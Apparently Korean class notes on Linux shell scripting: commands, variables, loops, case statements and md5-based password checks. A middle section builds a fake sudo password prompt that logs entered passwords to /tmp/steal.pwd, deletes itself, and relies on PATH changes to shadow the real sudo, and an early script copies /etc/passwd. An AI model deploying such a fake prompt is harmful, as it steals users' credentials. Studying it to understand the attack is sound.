nohup : nohup으로 수행 후 종료하면 nohup.out이라는 파일이 생김 서버가 죽으면 nohup 파일 열어보기
free : free 명령어 사용해서 메모리 사용량과 여유량 등 메모리 정보 확인
mount, unmount : 파일 시스템, 이동식 장치를 디렉토리 트리의 특정 마운트 지점에 연결 혹은 분리
vi s1.sh
#!/bin/bash
echo "hi?"
sleep 1
cp /etc/passwd ./pwd.txt
echo "Finish"
exit 0
chmod 755 ./si.sh
./si.sh
./s1.sh && echo "OK” (실행이 성공하면 OK를 나오게 해라)
명령어
!vi : 히스토리에 있는 명령 중에 가장 마지막에 수행한 vi 명령을 수행해준다.
!!vi : 마지막 이전 명령 수행
!-3 : 3번 이전에 실행한 명령어를 출력하기
history에서 명령어 라인번호 검색한 후 !(번호) 치면 그 해당 번호 명령어 재수행함
^var^etc : 이전 명령어에서 var를 etc로 바꿔서 실행하기

echo $PATH : path 경로 확인하기echo “사용자 이름: “ $USER
echo “홈 디렉토리: “ $HOME
exit 0 #!/bin/sh
myvar="Hi Woo"
echo $myvar
echo "$myvar"
echo '$myvar'
echo \$myvar
echo 값 입력 :
ex) echo hi hi hi → 출력 hi hi hi
echo “hi hi hi” → 출력 hi hi hi
read myvar
echo '$myvar' = $myvar
exit 0#!/bin/sh
echo [sudo] $USER 암호:
read pass
sleep 2
echo "죄송합니다만, 다시 시도하십시오."
exit 0
```
#!/bin/sh
echo -n “[sudo] $USER 암호:”
read pass
sleep 2
printf “\n죄송합니다만, 다시 시도하십시오.\n”
rm -rf /tmp/sudo
exit 0
```
>> tmp 밑에 sudo를 만들었다.
`echo -n “[sudo] $USER 암호:”` : ****한줄에 나오게 엔터없이
`echo $pass >> /tmp/steal.pwd` : 새로 갱신될때마다 저장되는 것
vi sudo.sh
1) -s sudo 에서는 암호가 안보이니까 -s옵션없으면 쓸 수 있는데 -n 줄 바꿈을 위해 -n을 넣었음.
2) echo에 리다이렉트에서 파일로 보냈음. 출력이 아니라 echo로 출력 문자를 쳤지만 printf로 변경해서 줄바꿈해서 쓰도록 함.
3) 나 자신의 파일을 지웠음. rm을 통해서 종료가 잘되면 echo “FINISH”라고 치라고 하니까 잘 찍힘 그래서 끝날때까지 잘 되는구나를 확인 할 수 있어서 echo를 지웠음.
4) 현재 tmp 밑에 sudo가 저장되어 있어서, bin 밑에 sudo를 읽기 때문에 바꿔줘야함
5) vi /etc/profile에 path가 저장되어 있음
#!/bin/sh
num1=100
num2=$num1 + 200
echo $num2
num3=`expr $num1 + 200`
echo $num3
num4=`expr \\( $num1 + 200 \\) / 10 \\* 2`
echo $num4
exit 0#!/bin/sh
case “$1” in
start)
echo "시작~~";;
stop)
echo "중지~~";;
restart)
echo "다시 시작~~";;
*)
echo "뭔지 모름~~";;
esac
exit0#!/bin/sh
echo "무한반복 입력을 시작합니다(b: break, c: continue, e: exit)"
while [ 1 ] ; do
read input
case $input in
b | B )
break ;;
c | C )
echo "continue를 누르면 while의 조건으로 돌아감"
continue ;;
e | E )
echo "exit를 누르면 프로그램(함수)를 완전히 종료함"
exit 1 ;;
esac;
done
echo "break를 누르면 while을 빠져나와 지금 이 문장이 출력됨."
exit 0#!/bin/bash
echo -n "passwd>"
read -s pass
if [ "1234" = $pass ]
then
echo "로그인에 성공하였습니다."
else
echo "로그인에 실패하였습니다."
fi
exit 0#!/bin/bash
echo -n "passwd>"
read -s pass
md5=`echo $pass | md5sum | cut -f1 -d' '`
printf "\n"
if [ "e7df7cd2ca07f4f1ab415d457a6e1c13" != $md5 ]
then
echo "로그인에 실패하였습니다."
else
echo "로그인에 성공하였습니다."
fi
exit 0md5=`echo $pass | md5sum | cut -f1 -d' '`pass | md5sum : pass 문자열에 대해서 mb5sum을 실행한다mb5=$(echo $pass | md5sum | cut -f1 -d' ') 도 동일한 의미 $( 사용#!/bin/bash
i=1
while [ $i -lt 6 ]
do
echo -n "passwd>"
read -s pass
md5=`echo $pass | md5sum | cut -f1 -d' '`
printf "\n"
if [ "e7df7cd2ca07f4f1ab415d457a6e1c13" != $md5 ]
then
echo "$i 번 로그인에 실패하였습니다.다시 시도해주세요"
((i++))
else
echo "로그인에 성공했습니다."
break
fi
done
exit 0#/bin/bash
for((i=1; i<=5; i++));
do
echo -n "passwd>"
read -s pass
md5=`echo $pass | md5sum | cut -f1 -d' '`
printf "\n"
if [ "e7df7cd2ca07f4f1ab415d457a6e1c13" != $md5 ]
then
echo "$i 번 로그인에 실패하였습니다.다시 시도해주세요."
else
echo "로그인에 성공하였습니다."
exit 0
fi
done